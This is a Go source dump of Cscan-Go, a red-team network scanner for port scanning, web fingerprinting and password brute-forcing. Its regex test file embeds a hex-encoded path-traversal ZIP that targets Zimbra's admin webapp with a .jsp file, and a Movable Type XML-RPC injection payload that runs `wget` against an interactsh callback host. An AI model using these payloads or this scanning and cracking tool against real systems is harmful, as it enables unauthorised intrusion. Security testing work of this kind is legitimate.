8 | var logoUp = color.Red.Sprintf("\n ..:::::::::..\n ..:::aad88x8888baa:::..\n .::::d:?88888xxx888?::8b::::.\n .:::d8888:?888xxxxx??a888888b:::.\n .:::d8888888a8888xxxaa8888888888b:::.\n ::::dP::::::::88888x88888::::::::Yb::::\n ::::dP:::::::::Y888888888P:::::::::Yb::::\n ::::d8::::x::::::Y8888888P:::::x:::::8b::::\n .::::88::::::::::::Y88888P::::::::::::88::::.\n :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::\n :::::::Y88888888888P::|::Y88888888888P:::::::\n ::::::::::::::::888:::|:::888::::::::::::::::\n `:::::::::::::::8888888888888b::::::::::::::'\n :::::::::::::::88888888888888:::::Cscan::::\n :::::::::::::d88888888888888::::::NB:::::\n ::::::::::::88::88::88:::88::::::::::::\n `::::::::::88::88::88:::88::::::::::'\n `::::::::88::88::P::::88::::::::'\n `::::::88::88:::::::88::::::'\n ``:::::::::::::::::::''\n ``:::::::::''\n")
9 |
10 | var logoDown = color.Green.Sprintf("\n ================= WEB Info Scan ==================\n ================= Code by %s ==================\n ================= %s ==================\n +++++++++++++++++++++++++++++++++++++++++++++++++++++\n", author, version)
11 |
12 | var Logo = fmt.Sprintf("%s%s", logoUp, logoDown)
13 |
--------------------------------------------------------------------------------
/flag/flag.go:
--------------------------------------------------------------------------------
1 | package flag
2 |
3 | import (
4 | "cscan/config"
5 |
6 | "github.com/projectdiscovery/goflags"
7 | )
8 |
9 | func Init() {
10 |
11 | flagSet := goflags.NewFlagSet()
12 |
13 | // 对大小写敏感
14 | flagSet.CaseSensitive = true
15 |
16 | // 打印logo
17 | flagSet.SetDescription(config.Logo)
18 |
19 | // 创建组
20 |
21 | flagSet.CreateGroup("config", "常用参数",
22 | flagSet.StringVarP(&config.IpInfo, "ips", "i", "", "需要扫描的 IP、IP段 或 IP范围,如:192.168.1.1, 192.168.1.1/24, 192.168.1.1-20(仅支持 \",\" 逗号分隔)"),
23 | flagSet.StringVarP(&config.IpFilePath, "localFile", "l", "", "需要导入的 IP 文件"),
24 | flagSet.StringVarP(&config.DefaultPorts, "dPort", "dp", "", "default ports 指定端口,然后加上默认端口一块扫描(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"),
25 | flagSet.StringVarP(&config.ForbidPorts, "fPorts", "fp", "", "forbid ports 指定端口扫描,禁用默认端口(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"),
26 | flagSet.StringVarP(&config.Filter, "filter", "f", "", "filter 过滤保留需要的状态码,并打印输出(支持 \",\" 逗号 \" \" 空格 \";\" 分号分隔)"),
27 | flagSet.IntVarP(&config.ThreadMax, "thread", "t", config.ThreadMax, "设置最大线程数"),
28 | flagSet.IntVarP(&config.TimeOutSet, "timeout", "", config.TimeOutSet, "设置超时时长,单位:秒"),
29 | flagSet.StringVarP(&config.OutPutType, "output", "o", "", "导出检测的结果,目前支持的格式:txt、csv。如:-o outfile.txt、-o outfile.csv"),
30 | flagSet.BoolVarP(&config.NotCrack, "notCrack", "nc", config.NotCrack, "not crack 禁用暴力破解功能"),
31 | )
32 |
33 | flagSet.CreateGroup("debug", "调试参数",
34 | flagSet.BoolVarP(&config.Debug, "debug", "", config.Debug, "Debug 模式,开启后显示所有的日志信息"),
35 | flagSet.BoolVarP(&config.ViewAll, "view", "", config.ViewAll, "显示并打印所有细节"),
36 | )
37 |
38 | flagSet.CreateGroup("proxy", "代理设置",
39 | flagSet.StringVarP(&config.Proxy, "proxy", "", "", "设置代理,如:socks5://localhost:1080 或 http://localhost:8080"),
40 | )
41 |
42 | flagSet.Parse()
43 | }
44 |
--------------------------------------------------------------------------------
/control/newScan/scan.go:
--------------------------------------------------------------------------------
1 | package newScan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/output"
6 | "cscan/util/view"
7 | "fmt"
8 | "github.com/gookit/color"
9 | "strings"
10 | "sync"
11 | )
12 |
13 | // 批量扫描端口
14 | func scan(ipOptions *config.IpOptions) {
15 | var ThreadMaxChan = make(chan int, config.ThreadMax)
16 | wg := &sync.WaitGroup{}
17 | for _, port := range ipOptions.Ports {
18 | for _, ip := range ipOptions.Ips {
19 | wg.Add(1)
20 | ThreadMaxChan <- 1
21 | go func(ip string, port int) {
22 | ipOption := config.IpOption{Ip: ip, Port: port}
23 | PortScan(&ipOption)
24 | if ipOption.PortOpenStatus {
25 | ipOptions.IpOption = append(ipOptions.IpOption, &ipOption)
26 | // 对 web 进行扫描
27 | WebScan(&ipOption)
28 | }
29 |
30 | // 打印输出
31 | if ipOption.PortOpenStatus {
32 | view.PrintlnSuccess(fmt.Sprintf("%s:%d --> open", ipOption.Ip, ipOption.Port))
33 | } else if config.ViewAll {
34 | view.PrintlnFailed(fmt.Sprintf("%s:%d --> close", ipOption.Ip, ipOption.Port))
35 | }
36 |
37 | // 导出
38 | if config.OutPutType != "" {
39 | if strings.Contains(config.OutPutType, ".csv") {
40 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_portScan.csv"
41 | output.OutputFile(path, &ipOption, config.MODE_PORT)
42 | } else {
43 | output.OutputFile(config.OutPutType, &ipOption, config.MODE_PORT)
44 | }
45 | }
46 |
47 | // 测试代码
48 | //time.Sleep(1 * time.Second)
49 | //fmt.Printf("%s:%d --> %v\n", ipOption.Ip, ipOption.Port, ipOption.PortOpenStatus)
50 |
51 | wg.Done()
52 | <-ThreadMaxChan
53 | }(ip, port)
54 | }
55 | }
56 | close(ThreadMaxChan)
57 | wg.Wait()
58 | }
59 |
60 | // 对 IP 进行端口扫描,http检测,以及暴力破解
61 | func Scans(ipOptions *config.IpOptions) {
62 | scan(ipOptions)
63 |
64 | // 扫描好后的资产进行打印
65 | color.C256(226).Printf("\n\n------ web 页面识别结果:------\n\n")
66 | for _, ipOption := range ipOptions.IpOption {
67 | webScanPrint(ipOption)
68 | }
69 |
70 | crackStart(ipOptions)
71 |
72 | }
73 |
--------------------------------------------------------------------------------
/control/scan/portScan.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/output"
6 | "cscan/util/view"
7 | "fmt"
8 | "log"
9 | "net"
10 | "strings"
11 | "sync"
12 | )
13 |
14 | // 传入 ipOption,检查端口有没有开放
15 | func PortScan(ipOption *config.IpOption) {
16 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", ipOption.Ip, ipOption.Port), config.TimeOut)
17 | if err != nil && config.Debug {
18 | log.Println(err)
19 | ipOption.PortOpenStatus = false
20 | } else {
21 | if conn != nil {
22 | ipOption.PortOpenStatus = true
23 | } else {
24 | ipOption.PortOpenStatus = false
25 | }
26 | }
27 | }
28 |
29 | // 批量扫描端口
30 | func PortScans(ipOptions *config.IpOptions) {
31 | var ThreadMaxChan = make(chan int, config.ThreadMax)
32 | wg := &sync.WaitGroup{}
33 | for _, port := range ipOptions.Ports {
34 | for _, ip := range ipOptions.Ips {
35 | wg.Add(1)
36 | ThreadMaxChan <- 1
37 | go func(ip string, port int) {
38 | ipOption := config.IpOption{Ip: ip, Port: port}
39 | PortScan(&ipOption)
40 | if ipOption.PortOpenStatus {
41 | ipOptions.IpOption = append(ipOptions.IpOption, &ipOption)
42 | }
43 |
44 | // 打印输出
45 | if ipOption.PortOpenStatus {
46 | view.PrintlnSuccess(fmt.Sprintf("%s:%d --> open", ipOption.Ip, ipOption.Port))
47 | } else if config.ViewAll {
48 | view.PrintlnFailed(fmt.Sprintf("%s:%d --> close", ipOption.Ip, ipOption.Port))
49 | }
50 |
51 | // 导出
52 | if config.OutPutType != "" {
53 | if strings.Contains(config.OutPutType, ".csv") {
54 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_portScan.csv"
55 | output.OutputFile(path, &ipOption, config.MODE_PORT)
56 | } else {
57 | output.OutputFile(config.OutPutType, &ipOption, config.MODE_PORT)
58 | }
59 | }
60 |
61 | // 测试代码
62 | //time.Sleep(1 * time.Second)
63 | //fmt.Printf("%s:%d --> %v\n", ipOption.Ip, ipOption.Port, ipOption.PortOpenStatus)
64 |
65 | wg.Done()
66 | <-ThreadMaxChan
67 | }(ip, port)
68 | }
69 | }
70 | close(ThreadMaxChan)
71 | wg.Wait()
72 | }
73 |
--------------------------------------------------------------------------------
/control/output/output.go:
--------------------------------------------------------------------------------
1 | package output
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/util/file"
6 | "fmt"
7 | "strings"
8 | )
9 |
10 | // OutputFile 判断对应的格式文件,并按照对应的格式进行输出
11 | func OutputFile(filepath string, ipOption *config.IpOption, mode int) {
12 | // 如果没有后缀,自动添加后缀
13 | if len(filepath) >= 1 && len(filepath) < 5 {
14 | filepath += ".txt"
15 | } else if len(filepath) < 1 {
16 | return
17 | }
18 | // 获取后缀
19 | suffix := filepath[len(filepath)-3:]
20 | if strings.ToLower(suffix) == "csv" {
21 | printTmp := ""
22 | switch mode {
23 | case config.MODE_PORT:
24 | if ipOption.PortOpenStatus {
25 | printTmp += fmt.Sprintf("%s,%d,open\n", ipOption.Ip, ipOption.Port)
26 | } else {
27 | //printTmp += fmt.Sprintf("%s,%d,close\n", ipOption.Ip, ipOption.Port)
28 | }
29 | file.WriteFile(filepath, []byte(printTmp))
30 | case config.MODE_WEB:
31 | printTmp += fmt.Sprintf("%s,%d,%s,%s,%s,%d,%s\n", ipOption.WebInfo.Url, ipOption.WebInfo.Code, ipOption.WebInfo.Title, ipOption.WebInfo.Server, ipOption.WebInfo.XPoweredBy, ipOption.WebInfo.Len, ipOption.WebInfo.Url302Jump)
32 | file.WriteFile(filepath, []byte(printTmp))
33 | case config.MODE_CRACK:
34 | printTmp += fmt.Sprintf("%s,%d,%s,%s,%s\n", ipOption.Ip, ipOption.Port, ipOption.CrackInfo.UserName, ipOption.CrackInfo.Password, ipOption.CrackInfo.Deal)
35 | file.WriteFile(filepath, []byte(printTmp))
36 | }
37 | } else {
38 | printTmp := ""
39 | switch mode {
40 | case config.MODE_PORT:
41 | if ipOption.PortOpenStatus {
42 | printTmp += fmt.Sprintf("%s:%d --> open\n", ipOption.Ip, ipOption.Port)
43 | } else {
44 | //printTmp += fmt.Sprintf("%s:%d --> close\n", ipOption.Ip, ipOption.Port)
45 | }
46 | file.WriteFile(filepath, []byte(printTmp))
47 | case config.MODE_WEB:
48 | printTmp += fmt.Sprintf("%s\t%d\t%s\t%s\t%s\t%d\t%s\n", ipOption.WebInfo.Url, ipOption.WebInfo.Code, ipOption.WebInfo.Title, ipOption.WebInfo.Server, ipOption.WebInfo.XPoweredBy, ipOption.WebInfo.Len, ipOption.WebInfo.Url302Jump)
49 | file.WriteFile(filepath, []byte(printTmp))
50 | case config.MODE_CRACK:
51 | printTmp += fmt.Sprintf("%s\t%d\t%s\t%s\t%s\n", ipOption.Ip, ipOption.Port, ipOption.CrackInfo.UserName, ipOption.CrackInfo.Password, ipOption.CrackInfo.Deal)
52 | file.WriteFile(filepath, []byte(printTmp))
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module cscan
2 |
3 | go 1.21
4 |
5 | require (
6 | github.com/antchfx/htmlquery v1.3.1
7 | github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874
8 | github.com/dlclark/regexp2 v1.11.0
9 | github.com/go-redis/redis v6.15.9+incompatible
10 | github.com/gookit/color v1.5.4
11 | github.com/ifacker/myutil v1.1.7
12 | github.com/jlaffaye/ftp v0.2.0
13 | github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
14 | golang.org/x/crypto v0.22.0
15 | golang.org/x/net v0.24.0
16 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
17 |
18 | )
19 |
20 | require (
21 | github.com/PuerkitoBio/goquery v1.9.1 // indirect
22 | github.com/andybalholm/cascadia v1.3.2 // indirect
23 | github.com/antchfx/xpath v1.3.0 // indirect
24 | github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect
25 | github.com/aymerick/douceur v0.2.0 // indirect
26 | github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
27 | github.com/fsnotify/fsnotify v1.6.0 // indirect
28 | github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
29 | github.com/golang/protobuf v1.5.3 // indirect
30 | github.com/google/go-cmp v0.6.0 // indirect
31 | github.com/gorilla/css v1.0.0 // indirect
32 | github.com/hashicorp/errwrap v1.1.0 // indirect
33 | github.com/hashicorp/go-multierror v1.1.1 // indirect
34 | github.com/microcosm-cc/bluemonday v1.0.25 // indirect
35 | github.com/miekg/dns v1.1.56 // indirect
36 | github.com/nxadm/tail v1.4.11 // indirect
37 | github.com/onsi/ginkgo v1.16.5 // indirect
38 | github.com/onsi/gomega v1.33.0 // indirect
39 | github.com/pkg/errors v0.9.1 // indirect
40 | github.com/projectdiscovery/blackrock v0.0.1 // indirect
41 | github.com/projectdiscovery/goflags v0.1.49 // indirect
42 | github.com/projectdiscovery/utils v0.0.89 // indirect
43 | github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
44 | github.com/tidwall/gjson v1.14.3 // indirect
45 | github.com/tidwall/match v1.1.1 // indirect
46 | github.com/tidwall/pretty v1.2.0 // indirect
47 | github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
48 | golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect
49 | golang.org/x/mod v0.14.0 // indirect
50 | golang.org/x/sys v0.19.0 // indirect
51 | golang.org/x/text v0.14.0 // indirect
52 | golang.org/x/tools v0.17.0 // indirect
53 | google.golang.org/protobuf v1.33.0 // indirect
54 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
55 | gopkg.in/yaml.v2 v2.4.0 // indirect
56 | gopkg.in/yaml.v3 v3.0.1 // indirect
57 | )
58 |
--------------------------------------------------------------------------------
/util/identify/ip.go:
--------------------------------------------------------------------------------
1 | package identify
2 |
3 | import (
4 | "cscan/util/regex2"
5 | "errors"
6 | "fmt"
7 | "github.com/gookit/color"
8 | "net"
9 | "strconv"
10 | "strings"
11 | "time"
12 | )
13 |
14 | // IpRange 识别 IP 范围,如:192.168.1.1-20、192.168.1.1/24、192.168.1.1
15 | func IpRange(srcIp string) ([]string, error) {
16 |
17 | // 确认 IP 格式
18 | results, err := regex2.Regexp2SimpleUse(srcIp, "(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}-\\d{1,3})|(\\d{1,3}.\\d{1,3}.\\d{1,3}.\\d{1,3}/\\d{1,3})|((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})")
19 | if err != nil || len(results) <= 0 {
20 | return nil, err
21 | }
22 | if len(results) <= 0 {
23 | return nil, errors.New("输入的 IP 异常 或 未识别到 IP !")
24 | }
25 |
26 | var destIps []string
27 |
28 | ips := strings.Split(srcIp, ",")
29 | for _, ip := range ips {
30 |
31 | ip = strings.TrimSpace(ip)
32 |
33 | if strings.Contains(ip, "-") {
34 | // 192.168.1.1-20
35 |
36 | pointIndex := strings.LastIndex(ip, ".")
37 | prefix := ip[:pointIndex+1]
38 | suffix := ip[pointIndex+1:]
39 | //fmt.Println(prefix, suffix)
40 |
41 | ns := strings.Split(suffix, "-")
42 | if len(ns) != 2 {
43 | return nil, errors.New("输入的 IP 范围格式错误!应该是:192.168.1.1-20")
44 | }
45 | min, err := strconv.Atoi(ns[0])
46 | if err != nil {
47 | return nil, err
48 | }
49 | max, err := strconv.Atoi(ns[1])
50 | if err != nil {
51 | return nil, err
52 | }
53 | for i := min; i <= max; i++ {
54 | destIps = append(destIps, fmt.Sprintf("%s%d", prefix, i))
55 | }
56 | } else if strings.Contains(ip, "/") {
57 | // 192.168.1.1/24
58 |
59 | inc := func(ip net.IP) {
60 | for j := len(ip) - 1; j >= 0; j-- {
61 | ip[j]++
62 | if ip[j] > 0 {
63 | break
64 | }
65 | }
66 | }
67 |
68 | iptmp, ipnet, err := net.ParseCIDR(ip) // 解析IP段
69 | if err != nil {
70 | color.C256(196).Printf("[!] IP: %s 存在异常,请及时处理!\n\n", ip)
71 | time.Sleep(1500 * time.Millisecond)
72 | return nil, errors.New(fmt.Sprintf("IP: %s 存在异常,请及时处理!", ip))
73 | }
74 | for iptmp := iptmp.Mask(ipnet.Mask); ipnet.Contains(iptmp); inc(iptmp) { // 通过掩码来遍历这个IP段
75 | destIps = append(destIps, fmt.Sprintf("%s", iptmp))
76 | //fmt.Println(ip)
77 | }
78 |
79 | } else {
80 | // 192.168.1.1
81 | if strings.Count(ip, ".") == 3 {
82 | destIps = append(destIps, ip)
83 | }
84 | }
85 | }
86 | return destIps, nil
87 | }
88 |
89 | func DomainRegex(srcDomain string) ([]string, error) {
90 | // 确认域名的格式
91 | results, err := regex2.Regexp2SimpleUse(srcDomain, "[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\\.?")
92 | if err != nil || len(results) <= 0 {
93 | return nil, err
94 | }
95 | if len(results) <= 0 {
96 | return nil, errors.New("输入的域名异常 或 未识别到域名 !")
97 | }
98 | return results, nil
99 | }
100 |
--------------------------------------------------------------------------------
/util/regex2/regexp2_test.go:
--------------------------------------------------------------------------------
1 | package regex2
2 |
3 | import (
4 | "encoding/hex"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestRegexp2SimpleUse(t *testing.T) {
10 | body := "PHPSESSID=e5tmcecfhcru27rt28ih32tch5; path=/"
11 | regex := "PHPSESSID=.*?(?=;)"
12 | result, err := Regexp2SimpleUse(body, regex)
13 | if err != nil {
14 | fmt.Println(err)
15 | }
16 | fmt.Println(result)
17 | }
18 |
19 | // 测试代码,临时使用
20 | func otherTest() {
21 | b := func(args any) {
22 | switch a := args.(type) {
23 | case nil:
24 | fmt.Println("nil")
25 | case string:
26 | fmt.Println("string", a)
27 | case int:
28 | fmt.Println("int", a)
29 | }
30 | }
31 | b("fuck")
32 |
33 | src1 := []byte("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")
34 | dest1 := make([]byte, hex.DecodedLen(len(src1)))
35 | hex.Decode(dest1, src1)
36 | fmt.Println(dest1)
37 | }
38 |
39 | func TestRegexp2SimpleReplace(t *testing.T) {
40 | otherTest()
41 |
42 | src := " POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1\n Host: {{Hostname}}\n Content-Type: text/xml\n\n \n \n mt.handler_to_coderef\n \n \n \n{{base64(\"`wget http://{{interactsh-url}}`\")}}\n \n {{base64(\"`wget http://{{interactsh-url}}`\")}}\n \n \n \n \n "
43 | dest := "fuck"
44 | regex := "({{base64\\()([\\w\\W]+?)(\\)}})"
45 | result, err := Regexp2SimpleReplace(src, dest, regex)
46 | fmt.Println(result, err)
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/control/newScan/webScan.go:
--------------------------------------------------------------------------------
1 | package newScan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/http"
6 | "cscan/control/output"
7 | "cscan/util/view"
8 | "fmt"
9 | "log"
10 | http2 "net/http"
11 | "strings"
12 |
13 | "github.com/antchfx/htmlquery"
14 | "github.com/gookit/color"
15 | "golang.org/x/net/html"
16 | )
17 |
18 | // 获取关键信息 title
19 | func getMeta(n *html.Node) (title string) {
20 | if n == nil {
21 | return ""
22 | }
23 | // 获取title
24 | titletmp := htmlquery.FindOne(n, "/html/head/title/text()")
25 | if titletmp == nil {
26 | return ""
27 | }
28 | title = htmlquery.InnerText(titletmp)
29 | return
30 | }
31 |
32 | func reqfunc(url string) *config.WebInfo {
33 | webinfo := &config.WebInfo{}
34 | client := http.NewClient()
35 | // 禁止 302 跳转
36 | client.CheckRedirect = func(req *http2.Request, via []*http2.Request) error {
37 | return http2.ErrUseLastResponse
38 | }
39 | req, err := http2.NewRequest("GET", url, nil)
40 | if err != nil && config.Debug {
41 | log.Println(err)
42 | }
43 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36")
44 | resp, err := client.Do(req)
45 | if err != nil {
46 | if config.Debug {
47 | log.Println(err)
48 | }
49 | return nil
50 | }
51 | //defer resp.Body.Close()
52 | defer func() {
53 | if err = resp.Body.Close(); err != nil && config.Debug {
54 | log.Println(err)
55 | }
56 | }()
57 |
58 | webinfo.Code = resp.StatusCode
59 | webinfo.Len = resp.ContentLength
60 | webinfo.Url = url
61 | var doc *html.Node
62 | webinfo.Title = getMeta(doc)
63 | url302Jump := resp.Header.Get("Location")
64 | if url302Jump != "" {
65 | webinfo.Url302Jump = url + url302Jump
66 | }
67 | webinfo.Server = resp.Header.Get("Server")
68 | webinfo.XPoweredBy = resp.Header.Get("X-Powered-By")
69 |
70 | return webinfo
71 | }
72 |
73 | func webScanPrint(ipOption *config.IpOption) {
74 |
75 | contains := func(s []int, e int) bool {
76 | for _, a := range s {
77 | if a == e {
78 | return true
79 | }
80 | }
81 | return false
82 | }
83 |
84 | if ipOption.WebInfo.Code != 0 {
85 |
86 | // 打印输出
87 | // filters 为空代表没有使用 -filter 参数
88 | if contains(config.Filters, ipOption.WebInfo.Code) || config.Filters == nil {
89 | codeTmp := ""
90 | if 200 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 300 {
91 | codeTmp += color.C256(46).Sprintf("[") + color.C256(196).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
92 | } else if 300 <= ipOption.WebInfo.Code && ipOption.WebInfo.Code < 400 {
93 | codeTmp += color.C256(46).Sprintf("[") + color.C256(154).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
94 | } else {
95 | codeTmp += color.C256(46).Sprintf("[") + color.C256(249).Sprintf("%d", ipOption.WebInfo.Code) + color.C256(46).Sprintf("]")
96 | }
97 |
98 | titleTmp := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%s", ipOption.WebInfo.Title) + color.C256(46).Sprintf("]")
99 | lenTmp := color.C256(46).Sprintf("[") + color.C256(200).Sprintf("%d", ipOption.WebInfo.Len) + color.C256(46).Sprintf("]")
100 | serverTmp := color.C256(46).Sprintf("[") + color.C256(226).Sprintf("%s", ipOption.WebInfo.Server) + color.C256(46).Sprintf("]")
101 | xPoweredByTmp := color.C256(46).Sprintf("[") + color.C256(51).Sprintf("%s", ipOption.WebInfo.XPoweredBy) + color.C256(46).Sprintf("]")
102 | url302JumpTmp := color.C256(46).Sprintf(" --> ") + color.C256(46).Sprintf("%s", ipOption.WebInfo.Url302Jump)
103 | tmpprint := ipOption.WebInfo.Url + "\t" + codeTmp
104 |
105 | if ipOption.WebInfo.Title != "" {
106 | tmpprint += titleTmp
107 | }
108 | tmpprint += " "
109 | if ipOption.WebInfo.Server != "" {
110 | tmpprint += serverTmp
111 | }
112 | if ipOption.WebInfo.XPoweredBy != "" {
113 | tmpprint += xPoweredByTmp
114 | }
115 | tmpprint += lenTmp
116 | if ipOption.WebInfo.Url302Jump != "" {
117 | tmpprint += url302JumpTmp
118 | }
119 | view.PrintlnSuccess(tmpprint)
120 | }
121 | }
122 | }
123 |
124 | // 导出结果
125 | func webScanOutput(ipOption *config.IpOption) {
126 | // 导出
127 | if ipOption.WebInfo.Code != 0 {
128 | if config.OutPutType != "" {
129 | if strings.Contains(config.OutPutType, ".csv") {
130 | path := config.OutPutType[:strings.Index(config.OutPutType, ".")] + "_webScan.csv"
131 | output.OutputFile(path, ipOption, config.MODE_WEB)
132 | } else {
133 | output.OutputFile(config.OutPutType, ipOption, config.MODE_WEB)
134 | }
135 | }
136 | }
137 | }
138 |
139 | // 检测 web 服务
140 | func WebScan(ipOption *config.IpOption) {
141 | urls := []string{
142 | fmt.Sprintf("https://%s:%d", ipOption.Ip, ipOption.Port),
143 | fmt.Sprintf("http://%s:%d", ipOption.Ip, ipOption.Port),
144 | }
145 |
146 | // 我这边 http 和 https 协议全部都做检测
147 | for _, url := range urls {
148 | webInfo := reqfunc(url)
149 | if webInfo != nil {
150 | ipOption.WebInfo = *webInfo
151 | }
152 | }
153 |
154 | // 备注:这里记得处理一下 http 和 https 两个协议,原版 cscan 中使用的方法是,如果端口不是 443,8443,就走http,否则就走 https
155 |
156 | webScanPrint(ipOption)
157 | webScanOutput(ipOption)
158 | }
159 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Cscan-Go 介绍
2 |
3 |
4 |
5 |
6 |
7 | ## 免责声明:
8 | 本网络安全工具仅用于提供技术支持,不涉及任何应用或商业行为。用户在使用本网络安全工具的过程中,不得以任何方式损害他人的合法权益。
9 |
10 | 该工具的运行仅依赖用户提供的信息,并不包括任何违反相关法律法规的内容。用户在使用本网络安全工具时,必须确保其提供的信息合法、有效、真实可靠,否则可能会产生不利后果。
11 |
12 | 本软件提供的服务仅供参考,不构成任何责任。用户在使用本网络安全工具时,应自行承担有关安全风险。我们并不对使用者使用本工具所涉及的任何技术服务承担任何义务或责任,无论此类技术服务是否有任何损失和/或损害。
13 |
14 | ## 简介:
15 | Cscan-Go 一款主要用来平替 cscan(python版) 的,本人也很喜欢使用 cscan,但是无奈 python 版有一些局限性,在内网横向的时候,如果想要把 cscan 传到内网,就要考虑环境的问题了,所以有了 cscan 的 go 版本!
16 |
17 | 本程序目前刚开始开发,所以有些 cscan 原版的功能不是很全,但是我会把 cscan 原版的全部功能都加进去的,然后再加一些自己觉得好用的小细节和功能点,在今后的hw中,方便红队队员们使用。
18 |
19 | 最后,感谢 cscan 作者带给我的灵感!
20 |
21 | 🎉🎉🎉!
22 | ## 使用方法:
23 | ```shell
24 | # 对 IP 或 IP 段 进行扫描(可以同时对多个段进行扫描)
25 | ./cscan -i "192.168.1.1, 192.168.2.1-50, 10.0.0.1/16"
26 |
27 | # 对 IP 文件内的 IP 或 IP 段 进行扫描(ipfile.txt 文件中的格式可以看下面的示例!)
28 | ./cscan -l "ipfile.txt"
29 |
30 | # 指定端口,并加上默认端口,对 IP 段进行扫描(支持端口范围添加,
31 | # 而且不用担心指定的端口与默认端口重复,因为本工具会自动去重!)
32 | ./cscan -i "192.168.1.1/24" -dp "1-1000, 8000-10000, 23333"
33 |
34 | # 指定端口,禁用默认端口,对 IP 段进行扫描(同上,就参数不一样,使用方法都一样)
35 | ./cscan -i "192.168.1.1/24" -fp "1-1000, 8000-10000, 23333"
36 |
37 | # 禁用爆破功能
38 | ./cscan -i "192.168.1.1/24" -nc
39 | ```
40 |
41 | ### ipfile.txt 格式示例:
42 | ```text
43 | 192.168.1.1
44 | 192.168.1.2
45 | 192.168.3.1-50
46 | 10.2.1.1/16
47 | 172.18.1.1/24
48 | ```
49 |
50 | ### 参数介绍:
51 | ```text
52 | -i ==> 需要扫描的 IP、IP段 或 IP范围,如:192.168.1.1, 192.168.1.1/24, 192.168.1.1-20(仅支持 "," 逗号分隔)
53 |
54 | -l ==> 需要导入的 IP 文件
55 |
56 | -t ==> 设置最大线程数(默认:100)
57 |
58 | -v ==> 显示并打印所有细节
59 |
60 | -f ==> filter 过滤保留需要的状态码,并打印输出(支持 "," 逗号 " " 空格 ";" 分号分隔)
61 |
62 | -o ==> 导出检测的结果,目前支持的格式:txt、csv。如:-o outfile.txt、-o outfile.csv
63 |
64 | -dp ==> default ports 指定端口,然后加上默认端口一块扫描(支持 "," 逗号 " " 空格 ";" 分号分隔)
65 |
66 | -fp ==> forbid ports 指定端口扫描,禁用默认端口(支持 "," 逗号 " " 空格 ";" 分号分隔)
67 |
68 | -nc ==> not crack 禁用暴力破解功能
69 |
70 | -timeout ==> 设置超时时长,单位:秒(默认:7s)
71 |
72 | -proxy ==> 设置代理,如:socks5://localhost:1080 或 http://localhost:8080
73 |
74 | -debug ==> Debug 模式,开启后显示所有的日志信息
75 | ```
76 | #### 默认端口:
77 | ```text
78 | 80 81 82 83 84 85 86 87 89 88 443 8443 7001 7080 7090 8000 8008
79 | 8888 8070 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090
